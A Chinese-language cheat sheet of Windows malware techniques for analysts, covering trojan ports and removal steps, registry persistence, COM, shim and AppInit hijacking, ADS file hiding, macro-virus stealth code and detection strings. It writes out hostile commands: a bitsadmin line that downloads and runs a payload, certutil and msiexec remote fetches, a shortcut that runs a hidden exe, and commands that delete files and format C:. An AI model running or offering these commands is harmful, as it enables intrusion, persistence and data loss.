文章目录
- 关闭防火墙
- 网页挂马关键字
- 工作簿对象事件一览表
- 通信方式
- 匿名管道通信
- 常见木马病毒删除方法
- 文件后缀
- 安全术语
- 已知木马端口
- 文件格式
- 常驻方法
- 计划任务
- 开机启动文件夹
- 注册表
- 注入&事件触发
- 文件隐藏
- 1\. 使用保留文件名
- 2\. 使用特殊的CLSIDS
- 3\. ADS(alternate data stream)
- 4\. 隐藏注册表键值
- 白加黑
- 利用windows特性
- 劫持 AppInit_DLLs
- 劫持shim的数据库
- COM劫持
- 用户触发的常驻手段
- 快捷方式劫持
- 扩展名劫持
- 注册表操作
- 宏相关
- CMD命令
- 运行命令
- 父进程
- 常见路径
- 环境变量与对应路径
- 系统进程程序
- 宏病毒相关
- 常用"宏"的名称
- 隐蔽执行手段
- 调用外部例程和命令执行
- 宏病毒恶意行为常用字符
- 病毒执行命令及下载文件的方法
- 1.Powershell
- 2.FTP
- 3.IPC$
- 4.Certutil
- 5.bitsadmin
- 6.msiexec
- 7.IEExec
- 8.python
- 9.mshta
- 10.rundll32
- 11.regsvr32
- 12.MSXSL.EXE
- 13.JS下载者
- 14.pubprn.vbs
关闭防火墙
HKLM,"System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile","EnableFirewall",0x00010001,1- EnableFirewall = 0
(0表示关闭 , 1表示打开度, 缺省是打开的)
HKLM,"System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile","DoNotAllowExceptions",0x00010001,0
网页挂马关键字
iframe
window.open
工作簿对象事件一览表
当工作簿更改、工作簿中的任何工作表更改、加载宏更改或数据透视表更改时,将引发工作簿事件。工作簿上的事件在默认情况下是可用的。
事件 | 说明 |
---|---|
Activate | 激活工作薄时 |
AddinInstall | 当工作簿作为加载宏安装时 |
AddinUninstall | 工作簿作为加载宏卸载时 |
BeforeClose | 关闭工作薄前 |
BeforePrint | 打印工作薄(或其中任何内容)之前 |
BeforeSave | 保存工作薄前 |
Deactivate | 工作簿从活动状态转为非活动状态时 |
NewSheet在 | 工作簿中新建工作表时 |
Open | 打开工作簿时 |
PivotTableCloseConnection | 在数据透视表关闭与其数据源的连接之后 |
PivotTableOpenConnection | 在数据透视表打开与其数据源的连接之后 |
SheetActivate | 激活任何一张表时 |
SheetBeforeDoubleClick | 双击任何工作表时 |
SheetBeforeRightClick | 鼠标右键单击任一工作表时 |
SheetCalculate | 工作表重新计算时 |
SheetChange | 更改工作表中的单元格时 |
SheetDeactivate | 任一工作表由活动状态转为非活动状态时 |
SheetFollowHyperlink | 单击 Microsoft Excel 中的任意超链接时 |
SheetPivotTableUpdate | 数据透视表的工作表更新之后 |
SheetSelectionChange | 工作簿中的数据透视表更新之后 |
WindowActivate | 工作簿的窗口激活时 |
WindowDeactivate | 工作簿的窗口变为非活动状态时 |
WindowResize | 工作簿窗口调整大小时 |
工作表(Worksheet) 对象事件一览表
事件 | 说明 |
---|---|
Activate | 激活工作表时 |
Deactivate | 工作表从活动状态转为非活动状态时 |
BeforeDoubleClick | 双击工作表前 |
BeforeRightClick | 右键单击工作表时 |
Calculate | 对工作表进行重新计算之后 |
Change | 更改工作表中的单元格,或外部链接引起单元格时 |
FollowHyperlink | 单击工作表上的任意超链接时 |
PivotTableUpdate | 在工作簿中的数据透视表更新之后 |
SelectionChange | 工作表上的选定区域发生改变时 |
通信方式
匿名管道通信
匿名管道是一种未命名的、单向管道,通常用来在一个父进程和一个子进程之间传输数据。匿名的管道只能实现本地机器上两个进程间的通信,而不能实现跨网络的通信。
匿名管道是在父进程和子进程之间,或同一父进程的两个子进程之间传输数据的无名字的单向管道。通常由父进程创建管道,然后由要通信的子进程继承通道的读端点句柄或写端点句柄,然后实现通信。父进程还可以建立两个或更多个继承匿名管道读和写句柄的子进程。这些子进程可以使用管道直接通信,不需要通过父进程。
匿名管道是单机上实现子进程标准I/O重定向的有效方法,它不能在网上使用,也不能用于两个不相关的进程之间。
创建匿名管道的函数为CreatePipe,对管道进行读写的操作是ReadFile和WriteFile函数。
常见木马病毒删除方法
1.BO2000
查看注册表[HEKY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\RunServicse]
中是否存在Umgr32.exe的键值。有则将其删除。重新启动计算机,并将\Windows\System中的Umgr32.exe 删除。
2.NetSpy(网络静灵)
国产木马,默认连接端口为7306,服务端程序被执行后,会在C:\Windows\System目录下生成netspy.exe文件。同时在注册表[HKEY_LOCAL_MACHINE\Software\ Microsoft\Windows\Current Version\Run]
下建立键值C:\windows\system\netspy.exe,用于在系统启动时自动加载运行。
清除方法:
(1)进入DOS,在C:\Windows\System\目录下输入命令“del netspy.exe”并按Enter键。
(2)进入注册表HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run
,删除Netspy.exe和Spynotify.exe的键值即可安全清除NetSpy。
3.NetBus(网络公牛)
国产木马,默认连接端口2344,服务端程序newserver.exe运行后,会自动脱壳成checkdll.exe,位于C:\WINDOWS\SYSTEM下,下次开机checkdll.exe将自动运行,因此很隐蔽,危害很大。同时,服务端运行后会自动捆绑以下文件。
(1)Windows 9x下:捆绑notepad.exe、write.exe、regedit.exe、winmine.exe、winhelp.exe。
(2)Windows NT/Windows 2000下:捆绑notepad.exe、regedit.exe、reged32.exe、drwtsn32.exe、winmine.exe。
注册表扎根:
服务端运行后还会捆绑在开机时自动运行的第三方软件,如QQ等。
清除方法:
(1)删除网络公牛的自启动程序C:\WINDOWS\SYSTEM\CheckDll.exe。
(2)把网络公牛在注册表中所建立的键值全部删除(上面所列出的那些键值全部删除)。
(3)检查上面列出的文件,如果发现文件长度发生变化(增加了40KB左右,可以通过与其他计算机上的正常文件比较而知),就删除它们。然后选择“开始”→“附件”一“系统工具”一“系统信息”一“工具”一“系统文件检查器”命令,在弹出的对话框中选中“从安装软盘提取一个文件”,在文本框中输入要提取的文件(前面删除的文件),单击“确定”按钮,然后按屏幕提示将这些文件恢复即可。如果是开机时自动运行的第三方软件,如realplay.exe、QQ、ICQ等被捆绑上了,那就得把这些软件卸载,再重新安装。
4.Asylum
该木马修改了system.ini和win.ini文件,通过查看system.ini文件下的[BOOT]
是否存在"shell=explorer.exe",如不是,则删除它,改回上面的设置
查看win.ini的[windows]
项下的run=
,如果有,则删除
5.冰河
标准版的服务器端程序为G-server.exe,客户端程序为G-client.exe,默认连接端口为7626。
一旦运行G-server,那么该程序就会在C:\Windows\system目录下生成kernel32.exe和sysexplr.exe并删除自身。kernel32.exe在系统启动时自动加载运行,sysexplr.exe和TXT文件关联,即使删除了kernel32.exe,但只要打开TXT文件,sysexplr.exe就会被激活,它将再次生成kernel32.exe,于是“冰河”又回来了。这就是“冰河”屡删不止的原因。
清除方法:
用纯DOS启动系统(以防木马的自动恢复)删除安装的
Windows下的system\kernel32.exe和system\sysexplr.exe两个木马文件,注意如果系统提示不能删除它们,是因为木马程序自动设置了这两个文件的属性,只需先改掉它们的隐藏、只读属性,就可以将其删除。
删除后,进入Windows系统的注册表中,找到[HKEY_LOCAL_MACHINE\SOFT WARE\Microsoft\Windows\CurrentVersion\Run]
和[HKEY LOCAL MACHINE\ SOFTWARE\Microsoft\Windows\Current Version\RunServices]
两项,然后查找kernel32.exe和sysexplr.exe两个键值并删除。再找到[HKEY_CLASSES_ROOT\txfile\open\command]
,看键值是不是已改为“sysexplr.exe%1”,如果是则改回“notepad.exe%1”。
文件后缀
后缀名 | 说明 |
---|---|
vbs | Visual Basic Script,微软脚本语言 |
bat | 批处理 |
安全术语
HTTP:超文本传输协议,基于TCP/IP协议之上的应用层协议,允许将HTML文档从Web服务器传送到Web浏览器,默认端口为80
HTTPS:在HTTP的基础上通过传输加密和身份认证保证了传输过程的安全性,加入了SSL层,HTTPS 的安全基础是 SSL,因此加密的详细内容就需要SSL。HTTPS 存在不同于HTTP的默认端口及一个加密/身份验证层(在 HTTP与 TCP 之间)
响应码如下:
状态代码 | 说明 |
---|---|
200 | 请求成功 |
400 | 语法错误,服务器无法理解 |
WAF:Web应用防护系统(Web Application Firewall,简称 WAF)也称为:=网站应用级入侵防御系统。
Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
端口分类:端口共1-65535号,知名端口范围从0到1023,这些端口号一般固定分配给一些服务
比如21端口分配给FTP服务,25端号分配给SMTP邮件传输协议服务,80端口分配给HTTP服务,135端口分配给RPC远程过程调用服务等等。
动态端口的范围从1024到65535,这些端口号一般不固定分配给某个服务,也就是说许多服务都可以使用这些端口。只要运行的程序向系统提出访问网络的申请,那么系统就可以从这些端口号中分配一个供该程序使用。比如1024端口就是分配给第一个向系统发出申请的程序,在关闭程序进程后,就会释放所占用的端口号。注意,端口冲突就不能正常工作。
同时,动态端口号也常常被病毒木马程序所利用,如冰河默认连接端口号是7626、WAY 2.4连接端口号是8011、Netspy 3.0连接端口号是7306、YAI病毒连接端口号是1024等等。
常见的端口:
端口号 | 含义 |
---|---|
21 | FTP文件传输协议代理服务器常用端口号 |
22 | SSH安全登录、SCP文件传输、端口重定向端口号 |
23 | Telnet远程登录协议代理服务器常用端口号 |
25 | SMTP Simple Mail Transfer Protocol (E-mail) |
53 | DNS域名解析服务端口号 |
80/8080/3128/8081/9080 | HTTP协议代理服务器常用端口号 |
110 | POP3“邮局协议版本3”使用的端口号 |
443 | HTTPS加密的超文本传输服务端口号 |
1080 | SOCKS代理协议服务器常用端口号 |
1433 | MSSQL SERVER数据库默认端口号 |
1521 | Oracle数据库服务端口号 |
1863 | MSN Messenger的文件传输功能所使用的端口号 |
3306 | MYSQL默认端口号 |
3389 | Microsoft RDP微软远程桌面使用的端口号 |
5631 | Symantec pcAnywhere远程控制数据传输时使用的端口号 |
5632 | Symantec pcAnywhere 主控端扫描被控端时使用的端口号 |
4000/8000 | 腾讯QQ端口号 |
已知木马端口
木马名称 | 端口 | 木马名称 | 端口 |
---|---|---|---|
BO jammerkillahV | 121 | Deep Throat | 2140 |
NukeNabber | 139 | Ther Invasor | 2140 |
Hackers Paradise | 456 | RVL Rat5 | 2283 |
Stealth Spy | 555 | Striker | 2565 |
Phase0 | 555 | Wincrash2 | 2583 |
NeTadmin | 555 | The Prayer | 2716 |
Satanz Backdoor | 666 | Phineas | 2801 |
Attack FTP | 666 | Portal of Doom | 3700 |
AIMSpy | 777 | Total Eclypse | 3791 |
Der Spaeher | 1000 | WinCrase | 4092 |
Silencer | 1001 | FileNail | 4567 |
WebEx | 1001 | IcqTrojan | 4950 |
Doly Trojan | 1011 | Sockets de Troie | 5000 |
Doly Trojan | 1015 | Sockets de Troie 1.x | 5001 |
Netspy | 1033OO | TLT Cart | 5011 |
Bla 1.1 | 1042 | NetMetro | 5031 |
Psyber Stream Server | 1170 | Firehotcker | 5321 |
Streaming Audio | 1170 | BackConstruction 1.2 | 5400 |
SoftWar | 1207 | BladeRunner | 5400 |
Ultors Trojan | 1234 | BladeRunner 1.x | 5401 |
SubSeven | 1243 | BladeRunner2.x | 5402 |
VooDoo Doll | 1245 | Illusion Mailer | 5521 |
GabanBus | 1245 | Xtcp | 5550 |
NetBus | 1245 | RoboHack | 5569 |
Maverick’s Matrix | 1269 | Wincrash | 5742 |
FTP99CMP | 1492 | The thing | 6000 |
Psyber Streaming Server | 1509 | The thing | 6400 |
Shiva Burka | 1600 | Vampire | 6669 |
SpySender | 1807 | HostControl | 6669 |
ShockRave | 1981 | Deep Throat | 6670 |
BackDoor | 1999 | Deep Throat | 6771 |
Transcout | 1999 | DeltaSource | 6883 |
Trojan Cow | 2001 | Remote Grab | 7000 |
Pass Ripper | 2023 | NetMonitor | 7300 |
Bugs | 2115 | NetMonitor1.x | 7301 |
NetMonitor 2.x | 7306 | GirlFriend | 21544 |
NetMonitor 3.x | 7307 | Schwindler 1.82 | 21554 |
NetMonitor 4.x | 7308 | GirlFriend | 21554 |
Qaz | 7597 | Prosiak | 22222 |
ICQKiller | 7789 | Evil FTP | 23456 |
InCommand | 9400 | Ugly FTP | 23456 |
Portalof Doom | 9872 | WhackJob | 23456 |
Portalof Doom 1.x | 9873 | Ugly FTP | 23456 |
Portalof Doom 2.x | 9874 | Delta | 26247 |
Portalof Doom 3.x | 9875 | AOLTrojan 1.1 | 30029 |
iNi-Killer | 9989 | NetSphere | 30100 |
The Prayer | 9999 | Masters Paradise | 30129 |
Portalof Doom 4.x | 10067 | Socket23 | 30303 |
Portalof Doom 5.x | 10167 | Kuang | 30999 |
Coma | 10607 | BackOrifice | 31337 |
Ambush | 10666 | DeepBO | 31338 |
Senna Spy | 11000 | NetSpy DK | 31339 |
HostControl | 11050 | BOWhack | 31666 |
Progenic Trojan | 11223 | Prosiak | 33333 |
Gjamer | 12076 | Trojan Spirit 2001 | 33911 |
Hack’99 KeyLogger | 12223 | Tiny TelnetServer | 34324 |
NetBus 1.x | 12346 | BigGluck | 34324 |
Whack-a-Mole | 12361 | Yet Another Trojan | 37651 |
Whack-a-Mole 1.x | 12362 | The Spy | 40412 |
Eclipse 2000 | 12701 | Masters Paradise | 40421 |
Priotrity | 16969Masters Paradise 1.x | 40422 | |
Kuang2 the Virus | 17300 | Masters Paradise 2.x | 40423 |
Millenium | 20000M | asters Paradise 3.x | 40426 |
Millennium | 20001 | Sockets de Troie | 50505 |
NetBus Pro | 20034 | Fore | 50766 |
Logged! | 20203 | Remote win shutdown 53001 | |
Chupacabra | 20203 | Schoolbus | 54321 |
Bla | 20331 | Net Raider | 57341 |
文件格式
jpg
以FFD8开头,FFD9结束。
图片文件对定界符敏感,去掉定界符或将其设为00
zip
0 4B 03 04
:头文件标记
图片标识:
cdfv2:doc文件本身也是zip压缩,cdfv2格式的文件相当于doc的宏代码
常驻方法
1.修改批处理
(1)Autoexec.bat(自动批处理,在引导系统时执行)。
(2)Winstart.bat(在启动GUI图形界面环境时执行)。
(3)Dosstart.bat(在进入MS-DOS方式时执行)。
2.修改系统配置**
通过修改系统配置文件System.ini
、Win.ini
来达到自动运行的目的
计划任务
控制面板-计划任务可以打开计划任务窗口,看到目前的计划任务项。
命令行使用taskschd.msc打开该窗口。
命令行下也可使用schtasks 命令对计划任务进行添加查看等操作。
开机启动文件夹
这个文件夹会存放自启动项的快捷方式
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
注册表
RUN注册表
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
RunOnce只会运行一次,之后该表项内容
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
系统服务
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKLM\SYSTEM\ControlSet001\services\<service name>
HKLM\SYSTEM\ControlSet002\services\<service name>
HKLM\SYSTEM\CurrentControlSet\services\<service name>
Load注册表
HKCU \ Software\Microsoft\WindowsNT\CurrentVersion\Windows\load
Userinit注册表
HKLM \ SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
注入&事件触发
1.注入到其他进程并删除自己,磁盘上无恶意的pe文件
2.在消息WM_QUERYENDSESSION,
WM_ENDSESSION
上设置回调函数,去检测是否系统将要关机。关机事件检测到后,将自身写入磁盘,并添加自启动开机后,删除自启动并回到第一步
文件隐藏
1. 使用保留文件名
windows下一些文件夹名是系统保留的设备名称,无法直接创建和访问。
CON, PRN, NUL, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9, COM1, COM2, COM3, COM5, COM6, COM7, COM8, COM9
可以通过mkdir .\d:\con 创建这些受限制的类型,
可通过rd命令删除该文件夹,如rd .\d:\mercenie\con
2. 使用特殊的CLSIDS
examples:
GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}
Administrative Tools.{D20EA4E1-3957-11d2-A40B-0C5020
History.{ff393560-c2a7-11cf-bff4-444553540000}524153}
All Tasks.{ED7BA470-8E54-465E-825C-99712043E01C}
你可以将文件夹改名为上诉字符,然后通过 shell:::{xxxx} 来访问,直接打开会打开相应的控件,只能通过命令行来显示真实文件夹的内容
使用clsids和保留文件名的优势
用户不能直接访问文件夹的内容,特别是CLSID事件,只能打开文件夹
不能以传统的方式修改或者删除这些文件夹,受限的文件名限制了其他的操作;
3. ADS(alternate data stream)
ntfs文件系统中,存在主数据流流和交换数据流(ADS)。
用常规的dir命令和windows文件管理器都没法发现ADS。而当我们查看文件内容的时候也仅仅显示主数据流的内容。
ADS的格式
filename.extension:alternate_stream_name
可用dir /r命令列出ads的名字
用powershell Get-Content查看到交换数据流的具体内容
制作一个利用ads隐藏的文件
生成一个evil.dll
将dll拷贝进文件的ads流里.
type demo.dll > test.txt:demo
利用regsvr32部署整个dll
regsvr32.exe /s test.txt:demo
或者运行特定的函数,如test1函数
rundll32.exe test.txt:demo,Test1
4. 隐藏注册表键值
在键值的前面放入空值NULL,直接访问出错,但是可以被aoturuns看见
例如:
\0c:\\users\\tester\\appdata\\local\\bcd7\\62d2.lnk
默认aoturuns不显示Microsoft的应用,因此可以通过这个机制绕过,如
Rundll32.exe SHELL32.DLL,ShellExec_RunDLL \"C:\\ProgramData\\test.exe\"
恶意软件被rundll32部署,aoturuns里是不显示的,这也算是一种白加黑的方式
白加黑
使用具有数字签名的,合法的应用(很多老的杀软应用)(PS:我以前用过的马一般都是这个套路)
通过dll注入、劫持或者其他方式让这个合法的白名单应用去加载dll,然后再通过dll去解密或者执行shellcode。
这种方式很难被检测到,因为有白名单,而且恶意代码都是在内存中加载。
或者使用各种脚本语言或者命令解释器来加载恶意代码,如python.exe、wscript.exe、php.exe等,甚至是js
通过这些解释器去加载加密或者混淆过的脚本代码,然后和dll一样去下载或者执行恶意代码,也是通过内存加载的方式。
通过这种方式很多杀软不会拦截,看见是python、ruby执行可能直接就放过了。
利用windows特性
劫持 AppInit_DLLs
每个加载user32.dll的应用都会加载 AppInit_DLLs中定义的dll,通过这个特性可以加载恶意的dll。
win8及以上系统,当开启 secure boot 时禁用。
需要UAC权限修改。
相关注册表
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
32位系统+32位dll,或64位系统+64位dll
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
64位系统+32位dll
这里有一个32位和64位的重定向,这里不注意很容易踩坑
劫持shim的数据库
Shim是一个垫在应用程序和windowsAPI之间的逻辑层,是微软用来主要解决应用兼容性问题的解决方法。
执行被劫持的程序时自动加载数据库中恶意模块(dll,shellcode等)。
修改shim数据库需要UAC权限,通过Microsoft Application Compatibility Toolkit可以直接修复shim被劫持的问题
程序可通过官方提供的sdbinst.exe创建一个应用程序的shim数据库,默认路径就在c:\windows\system32\sdbinst.exe
sdbinst /q <path_to_shim_db>.sdb
sdbinst.exe 启动时在如下位置创建键值
HKLM\Software\Microsoft\Windows nt\CurrentVersion\AppCompatFlags\CustomHKLM\Software\Microsoft\Windows nt\CurrentVersion\AppCompatFlags\InstalledSDB
为了更好的隐蔽性,躲避杀软,可以不用sdbinst来劫持shim数据库,可以通过代码来实现。
但无论哪种方式,都会在如下注册表指定数据库文件,因此主要检测这两个键值
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\CustomHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB
而恶意的shim数据库文件.sdb存放的路径,根据位数,存放在
C:\Windows\AppPatch\Custom
C:\Windows\AppPatch\Custom\Custom64
COM劫持
COM即Component Object Model (组件对象模型)的缩写,这里我们只关心clsid,即class id
通过修改注册表键值,使特定的clsid指向恶意的dll,程序运行时就会加载恶意的dll
如:
[HKEY_CURRENT_USER\Software\Classes\CLSID\{BCDE0395-E52F-467C-8E3DC4579291692E}\InprocServer32]@="C:\\ProgramData\\demo.dll""ThreadingModel"="Apartment"[HKEY_USERS\S-1-5-21-1929933236-2258453022-3626796957-
1000_Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32]@="C:\\ProgramData\\demo.dll""ThreadingModel"="Apartment"
相关注册表
32位OS+32位PE
64位OS+64位PE
HKCU\Software\Classes\CLSID\[hijacked CLSID]\InProcServer32
32位OS+64位PE
HKCU\Software\Classes\Wow6432Node\CLSID\[hijacked CLSID]\InProcServer32
用户触发的常驻手段
快捷方式劫持
先删除如下注册表键
HKEY_LOCAL_MACHINE\Software\Classes\lnkfile\IsShortcut
将快捷方式图标上的箭头隐藏,然后隐藏真实文件夹和恶意文件,用快捷方式替代真实的文件夹,快捷方式中设置如下命令:
C:\Windows\system32\cmd.exe /cstart explorer.exe "Program Files"& type "81d59edde88fc4969d.exe" >"%temp%\81d59edde88fc4969d.exe"&& "%temp%\81d59edde88fc4969d.exe"
点击快捷方式会打开文件夹并执行命令。
扩展名劫持
通过修改注册表中定义的扩展名关联程序,当打开特定的扩展名时,就会被劫持,从而执行恶意文件。
而且重新定义关联程序,是不需要管理员权限的
相关注册表
全局变量定义在 HKEY_CLASSES_ROOT
用户变量定义在HKEY_USERS -> [user SID]_Classes
注册表操作
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\ DisableRegistry Tools
锁注册表
HKCU\Software\Microsoft\Internet Explorer\Main\Start Page
锁主页
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\MachineGuid
//获取计算机的GUID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName
//获取当前操作系统版本
HKEY_CURRENT_USER\Environment
//该注册表下的键值用作环境变量
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt中的UnCheckedValue项
//设置隐藏已知文件夹类型扩展名,UnCheckedValue项为1时,文件拓展名无法显示
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL中的CheckedValue的键值
// 设置文件属性为隐藏,CheckedValue键值为0时,隐藏属性的文件永远不可见
HKLM\Microsoft\Windows NT\CurrentVersion\Window
的AppInit_Dlls键值,任何使用到User32.dll 的EXE、DLL、OCX等类型的PE文件都会读取这个地方,并且根据约定的规范将这个键值下指向的DLL文件进行加载,加载的方式是调用 LoadLibrary,常被恶意代码用作驻留
宏相关
HKEY_CURRENT_USER\Software\lMi crosoft\Office\15.0\Word\Security\
将宏标记为安全
CMD命令
at
计划任务
ipconfig
查看本机ip
systeminfo
//查看操作系统版本
del /f /s /q %systemdrive%\*.bat
//删除系统盘下所有后缀为.bat的文件
echo y | format c:/u
//格式化C盘
netstat
//查看端口
taskkill /f /im
//终止程序运行
schtasks
//添加计划任务,该命令可将任何脚本、程序或文档设置在任何时间自动执行起来
reg add HKCU\Software\Microsoft\Windows\Currentversion\Run /v cryss /d "C:\Users\Last\Desktop\a9d71a.exe" /f
//将C:\Users\Last\Desktop\a9d71a.exe添加到注册表
netstat -ano
//查看当前的网络连接状态
del /ah /f c:\Hacked.exe & del /ah/f c:\autorun.inf
//同时强制删除位于C盘根目录下属性为隐藏的Hacked.exe和autorun.inf文件
tasklist | find “1292”
//利用pid查看进程文件名
taskkill /f /pid 1292 /t
//这句命令的意思是,强制(/f)终止PID值为1292 的进程和任何由此启动的进程(/t)
ping -i 1 baidu,com
设置报文头的TLL值为1,这确保路由器不会再进一步转发流量
运行命令
taskschd.msc
打开任务计划面板
父进程
进程名 | 作用 | 路径 |
---|---|---|
EQNEDT32 | 公式编辑器 | C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE |
winword | office办公软件 |
常见路径
路径 | 说明 |
---|---|
\http\shell\open\command | 默认浏览器路径 |
环境变量与对应路径
环境变量 | 对应路径 |
---|---|
%ALLUSERSPROFILE% | C:\ProgramData |
%APPDATA% | C:\Users\用户名\AppData\Roaming |
%COMMONPROGRAMFILES% | C:\Program Files\Common Files |
%COMMONPROGRAMFILES(x86)% | C:\Program Files (x86)\Common Files |
%comspec% | C:\Windows\System32\cmd.exe |
%HOMEDRIVE%和%SystemDrive% | C:\ |
%HOMEPATH% | C:\Users\用户名 |
%LOCALAPPDATA% | C:\Users\用户名\AppData\Local |
%PROGRAMDATA% | C:\ProgramData |
%ProgramFiles% | C:\Program Files |
%PROGRAMFILES(X86)% | C:\Program Files (x86) |
%PUBLIC% | C:\UsersPublic |
%SystemRoot% | C:\Windows |
%TEMP%和%TMP% | C:\Users\用户名\AppData\LocalTemp |
%USERPROFILE% | C:\Users用户名 |
%WINDIR% | C:\Windows |
系统进程程序
进程名 | 作用 |
---|---|
cisvc.exe | 系统的索引服务所对应的程序,用于监测内存使用状 |
态使用状态,防止可用内存过低问题 | |
svchost.exe | Windows服务主进程 |
wupdmgr.exe | 在XP系统下,被用作Windows系统的更新 |
cleanmgr.exe | 磁盘清理程序 |
Taskman.exe | 任务管理器程序 |
scandskw.exe | 磁盘扫描程序 |
Winhelp.exe、Hh.exe | 帮助文件 |
SysTray.exe | 系统栏程序 |
internat.exe | 输入法程序 |
scanregw.exe | 注册表程序 |
Mstask.exe | 计划任务程序 |
宏病毒相关
常用"宏"的名称
隐蔽执行手段
代码 | 措施 |
---|---|
On Error Resume Next | 如果发生错误,不弹出错误对话框 |
Application.DisplayStatusBar = False | 不显示状态栏,避免显示宏的运行状态 |
Options.SaveNormalPrompt = False | 修改公用模板时在后台自动保存,不给任何提示 |
EnableCancelKey = wdCancelDisabled | 使不可以通过ESC键取消正在执行的宏 |
Application.ScreenUpdating = 0 | 不让屏幕更新,让病毒执行时不影响计算机速度 |
Application.DisplayAlerts = wdAlertsNone | 不让Excel弹出报警信息 |
CommandBars(“Tools”).Controls(“Macro”).Enabled = 0 | 屏蔽工具菜单中的“宏”按钮 |
CommandBars(“Macro”).Controls(“Security”).Enabled = 0 | 屏蔽宏菜单的“安全性” |
CommandBars(“Macro”).Controls(“Macros”).Enabled = 0 | 屏蔽宏菜单的“宏” |
CommandBars(“Tools”).Controls(“Customize”).Enabled = 0 | 屏蔽工具菜单的“自定义” |
CommandBars(“View”).Controls(“Toolbars”).Enabled = 0 | 屏蔽视图宏菜单的“工具栏” |
CommandBars(“format”).Controls(“Object”).Enabled = 0 | 屏蔽格式菜单的“对象” |
调用外部例程和命令执行
外部例程 | 介绍 |
---|---|
MSXML2.ServerXMLHTTP | Xmlhttp是一种浏览器对象, 可用于模拟http的GET和POST请求 |
Net.WebClient | 提供网络服务 |
Adodb.Stream | Stream 流对象用于表示数据流。配合XMLHTTP服务使用Stream对象可以从网站上下载各种可执行程序 |
Wscript.shell | WScript.Shell是WshShell对象的ProgID,创建WshShell对象可以运行程序、操作注册表、创建快捷方式、访问系统文件夹、管理环境变量。 |
Poweshell | PowerShell.exe 是微软提供的一种命令行shell程序和脚本环境 |
Application.Run | 调用该函数,可以运行.exe文件 |
WMI | 用户可以利用 WMI 管理计算机,在宏病毒中主要通过winmgmts:.\root\CIMV2隐藏启动进程 |
Shell.Application | 能够执行sehll命令 |
宏病毒恶意行为常用字符
字符串 | 描述 |
---|---|
http | URL连接 |
CallByName | 允许使用一个字符串在运行时指定一个属性或方法,许多宏病毒使用CallByName执行危险函数 |
Powershell | 可以执行脚本,运行.exe文件,可以执行base64的命令 |
Winmgmts | WinMgmt.exe是Windows管理服务,可以创建windows管理脚本 |
Wscript | 可以执行脚本命令 |
Shell | 可以执行脚本命令 |
Environment | 宏病毒用于获取系统环境变量 |
Adodb.stream | 用于处理二进制数据流或文本流 |
Savetofile | 结合Adodb.stream用于文件修改后保存 |
MSXML2 | 能够启动网络服务 |
XMLHTTP | 能够启动网络服务 |
Application.Run | 可以运行.exe文件 |
Download | 文件下载 |
Write | 文件写入 |
Get | http中get请求 |
Post | http中post请求 |
Response | http中认识response回复 |
Net | 网络服务 |
WebClient | 网络服务 |
Temp | 常被宏病毒用于获取临时文件夹 |
Process | 启动进程 |
Cmd | 执行控制台命令 |
createObject | 宏病毒常用于创建进行危险行为的对象 |
Comspec | %ComSpec%一般指向你cmd.exe的路径 |
病毒执行命令及下载文件的方法
1.Powershell
$client = new-object System.Net.WebClient $client.DownloadFile(‘http://payloads.online/file.tar.gz’, ‘E:\file.tar.gz’)
2.FTP
cd E:\file # 进入E盘下的file目录
cd www # 进入服务器上的www目录
get access.log # 将服务器上的access.log下载到E:\file
3.IPC$
copy \\192.168.3.1\c$\test.exe E:\file
4.Certutil
应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2
certutil.exe -urlcache -split -f http://192.168.3.1/test.txt file.txt
5.bitsadmin
1、bitsadmin /rawreturn /transfer getfile http://192.168.3.1/test.txt E:\file\test.txt2、bitsadmin /rawreturn /transfer getpayload http://192.168.3.1/test.txt E:\file\test.txt
完整利用:
cmd.exe /c bitsadmin /transfer d90f http://site.com/a %APPDATA%d90f.exe&%APPDATA%d90f.exe&del %APPDATA%d90f.exe
6.msiexec
msiexec /q /i http://192.168.3.1/test.txt
7.IEExec
需要执行两条命令,一条关闭.net安全策略,一条下载
C:\Windows\Microsoft.NET\Framework\v2.0.50727> caspol -s off下载exe
